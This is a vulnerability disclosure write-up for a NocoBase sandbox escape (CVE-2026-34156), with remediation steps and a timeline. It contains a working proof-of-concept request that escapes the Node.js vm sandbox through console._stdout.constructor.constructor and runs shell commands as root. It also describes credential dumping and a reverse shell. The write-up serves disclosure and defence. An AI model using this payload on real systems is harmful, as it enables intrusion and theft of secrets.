CVE-2026-34156: VM Sandbox Escape to RCE in NocoBase

CVE-2026-34156: VM Sandbox Escape to RCE in NocoBase

I discovered a critical vulnerability (CVSS3.1 10.0) in NocoBase's Workflow Script Node that allows an authenticated attacker to escape the Node.js vm sandbox and achieve Remote Code Execution as root with a single HTTP request.


Background

NocoBase is an open-source no-code platform (17k+ GitHub stars) for building business applications. Its Workflow Script Node lets users write custom JavaScript, executed inside a Node.js vm sandbox with a customRequire allowlist.

The problem: the host-realm console object is passed directly into the sandbox.


The Exploit Chain

console._stdout                     → WritableWorkerStdio (host realm)
  .constructor                      → WritableWorkerStdio class
    .constructor                    → Function (host realm, unrestricted)
      ('return process')()          → Node.js process object
        .mainModule.require         → bypasses customRequire entirely
          ('child_process')
            .execSync('id')         → RCE as root

console._stdout is a WritableWorkerStdio stream that lives in the host realm. Traversing .constructor.constructor reaches the host's Function constructor not the sandboxed one. From there, Function('return process')() gives direct access to the Node.js process object, and process.mainModule.require bypasses the allowlist completely.

A Host-Realm is a place where main Node.JS environment runs feels like a /root/ directory in linux. It has full scope method call permissions like process, require, fs, child_process ,so by obtaining access these methods, it is possible to get reverse shell connection or execute commands on target application.

By default or in a normal conditions, application most likely run our processes, executions in Sandbox Realm. It is the restricted environment created by VM module.

The vm module only provides lexical scope isolation. It does not isolate prototype chains any host-realm object injected into the sandbox becomes an escape vector.


Proof of Concept

Got reverse shell
Proof of concept the root privileges
POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json

{
  "type": "script",
  "config": {
    "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
    "timeout": 5000,
    "arguments": []
  }
}

The content field is where NocoBase passes user-supplied JavaScript to the vm sandbox for execution.

const Fn=console._stdout.constructor.constructor; -->

In Node.js, the global console object is an instance of the Console class (defined in lib/console.js). Internally, it holds references to the output streams it writes to via console._stdout and console._stderr. These point to process.stdout and process.stderr respectively.

const proc=Fn('return process')(); -->

When Node.js runs inside a worker thread (as in Docker/NocoBase's workflow engine), they are instances of WritableWorkerStdio, a class defined in Node.js internals at lib/internal/worker/io.js and imported in lib/internal/worker.js. These are host-realm objects that use MessagePort to communicate stdio between threads.

const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();

When this console object is passed into a vm sandbox, the WritableWorkerStdio instance retains its host-realm prototype chain meaning .constructor.constructor resolves to the host's Function constructor, not the sandbox's restricted one.

By using constructor climbing technique I was able to defeat vm sandbox and passed through host realm environment.

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Research Methodology

The vulnerability was discovered through a systematic 5-phase sandbox enumeration bash scripting process not by reading the source code, but by probing the sandbox from the inside.

Phase 1–2: Sandbox Recon: Enumerated globalThis, this, typeof checks on Function, eval, Reflect, and require to understand what sandbox exposes and what's restricted.

  • Global scope: what's accessible on globalThis and this ?
  • Type checking: are Function, eval, Reflect, Proxy available?

Phase 3: Module Probing: I tested every common Node.js core module (fs, http, child_process, net...) against the customRequire allowlist. All blocked. Also inspected __main, require.toString(), and Function('return process')() the sandbox-scoped Function could not reach process.

Module allowlist: which modules pass through customRequire? (fs, http, child_process, net...)

Phase 4: The Breakthrough: Shifted focus from code-level escape to object-level escape. I created a bash script to enumerat console's internal properties and discovered

console._stdout:

Step 81: typeof console._stdout         → "object"
Step 82: console._stdout.constructor.name → "WritableWorkerStdio"
Step 83: .constructor.constructor         → "function"  ← host realm!
Step 84: Fn('return process')()          → "object"    ← escape confirmed

WritableWorkerStdio is a Node.js internal class that lives in the host realm. Because console was passed directly into the sandbox without proxying, its prototype chain still points back to the host's Function constructor.

Phase 5: RCE Confirmation: Used the discovered chain to execute id, dump process.env, read /etc/passwd, and establish a reverse shell.

The key insight is that the sandbox's Function constructor was restricted, but console._stdout.constructor.constructor returned the host realm's unrestricted Function since prototype chains cross sandbox boundaries in Node.js vm.


Impact

  • RCE as root (uid=0) inside the Docker container
  • Credential theft : DB_PASSWORD, INIT_ROOT_PASSWORD via process.env
  • Arbitrary file access: require('fs') through the same chain
  • Reverse shell: confirmed outbound connectivity
  • Lateral movement: network access from the container

Alternative Escape Vector

  • console._stderr.constructor.constructor : identical chain via stderr

Remediation

  1. Replace vm with isolated-vm true V8 isolate separation; prototype chains can't cross isolate boundaries
  2. Don't pass host objects into the sandbox create a clean console proxy exposing only log, warn, error
  3. Run as non-root in Docker limits blast radius on escape
  4. Restrict /api/flow_nodes:test to admin roles

Exploit Usage

Reverse Shell Mode

Netcat listener

Dump system information & creds

Remote Command Execution Mode

Disclosure Timeline

Date Event
2026-03-26 Vulnerability discovered and confirmed
2026-03-26 GitHub Advisory submitted (GHSA-px3p-vgh9-m57c)
2026-03-26 Vendor notified, acknowledged, opened fix PR #8967
2026-03-26 CVE-2026-34156 assigned
2026-03-28 Patch released (v2.0.28), advisory published

Same-day acknowledgment, same-day fix, same-day CVE request ,so I was really appreciated according to vendor response from the NocoBase team.


Phase 1–2: Scope & Type Recon (Steps 1–40)

Probed the sandbox's global scope and available types to understand restrictions: globalThis keys, this keys, typeof checks on eval, Function, Reflect, Proxy, WeakMap, WeakSet, Symbol.for, Intl.DateTimeFormat.

Tested Function.prototype.constructor, arguments.callee (strict mode), __proto__ access, Object.getPrototypeOf(Function), arrow/Object/Array/String/Number/Boolean/Error/Date/RegExp constructors.

Furthermore, the script probed require type, prototype, and constructor, this.constructor('return this')() for global scope access, __main type and properties, Reflect.get(globalThis, 'require'), Proxy wrapping on require, Object.defineProperty override attempts, Error stack trace leaks, and Function.caller chain walking.

Phase 3: Module Allowlist Probing (Steps 41–80)

Tested 20 Node.js core modules against customRequire: fs, path, http, https, net, crypto, util, url, stream, events, buffer, vm, process, child_process, dgram, dns, tls, assert, querystring, zlib ,but all blocked.

Plus, tested third-party modules: mathjs, lodash, axios.

Inspected __main internals (toString(), properties, constructor, prototype), require.toString() source, require.resolve, and require.cache.

Attempted escape via Function('return this')(), Function('return process')(), eval('process'), require.constructor('return process')(), and globalThis.constructor('return process')() all failed because the sandbox-scoped Function could not access host globals.

Phase 4: Object-Level Escape Discovery (Steps 81–110)

Shifted from code-level to object-level escape.

Enumerated console internal properties and discovered console._stdout (type: WritableWorkerStdio).

Confirmed .constructor.constructor resolves to host realm Function.

Validated escape via process.version, process.env, process.cwd(), process.mainModule, and mainModule.require('child_process').

Tested alternative vectors: console._stderr.constructor.constructor (identical chain, confirmed working), __main.constructorAsyncFunctionFunctionprocess (confirmed working), globalThis.constructor.constructor and Object.constructor.constructor (confirmed working), Error.prepareStackTrace + CallSite.getThis() (host object accessible), WebAssembly.Module.constructor, Proxy interception on console, and SharedArrayBuffer availability.

Phase 5: RCE Confirmation (Steps 111+)

Executed: id, whoami, hostname, uname -a, ls -la /app/nocobase.

Dumped full process.env, extracted DB credentials (DB_HOST, DB_PORT, DB_DATABASE, DB_USER, DB_PASSWORD), pattern-matched secrets (JWT_SECRET, APP_KEY, API_KEY).

Read /etc/passwd and package.json via require('fs').

Confirmed outbound connectivity via DNS resolution.

Validated _stderr escape path. Established reverse shell.


References


Onurcan Genç, Independent Security Researcher, Bilkent University

LinkedIn · GitHub

Read more